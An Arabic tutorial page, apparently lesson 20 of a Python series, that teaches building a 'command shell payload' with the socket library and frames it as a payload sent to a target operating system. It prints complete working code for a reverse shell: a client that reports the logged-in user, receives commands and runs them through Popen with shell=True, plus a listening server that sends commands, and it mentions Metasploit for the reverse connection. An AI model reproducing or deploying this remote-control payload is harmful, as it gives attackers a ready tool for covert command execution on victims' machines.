recent
أخبار ساخنة

انشاء اتصال بين نظام التشغيل و بيلود عبر مكتبة سوكيت في بايثون الدرس |20|

الصفحة الرئيسية

إنشاء إتصال بين نظام تشغيل و بيلود

إنشاء اتصال بين نظام التشغيل و العميل عبر حمولة يتم برمجتها في مكتبة socket بلغة بايثون.

درسنا اليوم هو command shell Payload أي كيف نبرمج بيلود عبر socket أو low level وظيفته يفتح لنا اتصال بينه و بين command execution.

إتصال بين نظام التشغيل و البيلود

نرى في الصورة نظام تشغيل os و على جانبه يوجد بيلود, اي يعني أن السطر الاسود المتصل بين النظام و البيلود هو الاتصال الدائم بينهما.

و الخط الأحمر هو ارسال و استقبال فيما بينهما, و آلية عمل هذا البيلود عبر مرحلتين وهما:

عن طريق سيرفر و السيرفر يتبع الـ handling أي على اتم الجاهزية لأستقبال اي اتصال به و بعده ارسلنا client الذي عبرناه كـ payload و ارسلناه إلى نظام التشغيل و عند تشغيل هذا البيلود سوف يتصل بـ command execution.

وبعدها بدأت عملية الاتصال بنجاح بالارسال و الأستقبال.

لرؤية شرح هذه الصورة على يوتيوب بشكل اوضح اضغط على مشاهدة


إنشاء سكربتات سيرفر و عميل

فيما يلي سوف نقوم بإنشاء سكربتات إثنان وهما عبارة عن سكربت سيرفر و السكربت الآخر عميل من أجل الإتصال بهذا السيرفر.


إنشاء سكربت عميل في بايثون Client script

import socket
from  subprocess import PIPE , Popen
import os
#my client
try:
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("127.0.0.1",5555))
    s.send("the clinet user is {0}".format(os.getlogin()).encode("utf-8"))
    while True:
        command = s.recv(3500).decode("utf-8")
        p = Popen(command,stdout=PIPE,stderr=PIPE,shell=True)
        if p.communicate()[0] == ''.encode('utf-8'):
            s.send(p.communicate()[1])
        else:
            print(s.send(p.communicate()[0]))
except socket.error as e:
    print(e)

استدعينا المكاتب عبر الأمر from  subprocess import PIPE , Popen و بعض النقاط شرحناها بالدرس السابق.

اعطيناه while القيمة True و امر الأستقبال 3500 و عملنا له utf-8 و استخدمنا مكتبة subprocess اختصرناه بـ p = Popen.

و ارسلنا نتيجه الأمر عبر if p.communicate واستخدمنا الـ format.

 

إنشاء سكربت سيرفر في بايثون Server script

import socket
#my server
try:
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.bind(("127.0.0.1",5555))
    s.listen(5)
    client , addr = s.accept()
    print("connection from {0}:{1}".format(addr[0],addr[1]))
    while True:
        data = client.recv(500000)
        print(data.decode("utf-8"))
        command = str(input(" < command > "))
        client.send(command.encode("utf-8"))
except socket.error as e:
    print(e)

اضفنا تعديلات لسكربت السرفر بالدرس السابق while True يعني البدء في الأستقبال و الأرسال ووضعنا أمر الطباعه print فوقه.

و اضفنا {1} لمعرفة البورت و الهوست,و بعدها بدأنا بأستقبال الداتا عبر data = client.recv(500000).

و 500000 تعني حجم حزمة الاستقبال وبعده قلنا اطبعه لنا بصيغة تكون غير صيغة encode binnary و تكون الصيغه utf-8 و بعده اعطينا امر آخر = input قد عملنا rec و طباعة, واعطيناه ارسال clint.send ارسلنا الأمر , يعني نرسل له الامر و استقبلها و بعده نرسل له من جديد.

 

تشغيل سكربت الإتصال بين العميل و السيرفر

هنا اصبح الـ client هو البيلود الذي شرحناه في الصورة السابقة و يجب علينا هنا ان نستخدم هنا الميتاسبلويت, نكتب msfconsole لتشغيلها.

ليحصل اتصال عكسي عند تشغيله,  نشغل اولاً السيرفر لأنتظار اتصال البيلود client عند الاتصال سيعرض لنا البورت و مستخدم الحاسب حسب الأمور الذي نكون قد وضعناها في السكربت.

google-playkhamsatmostaqltradent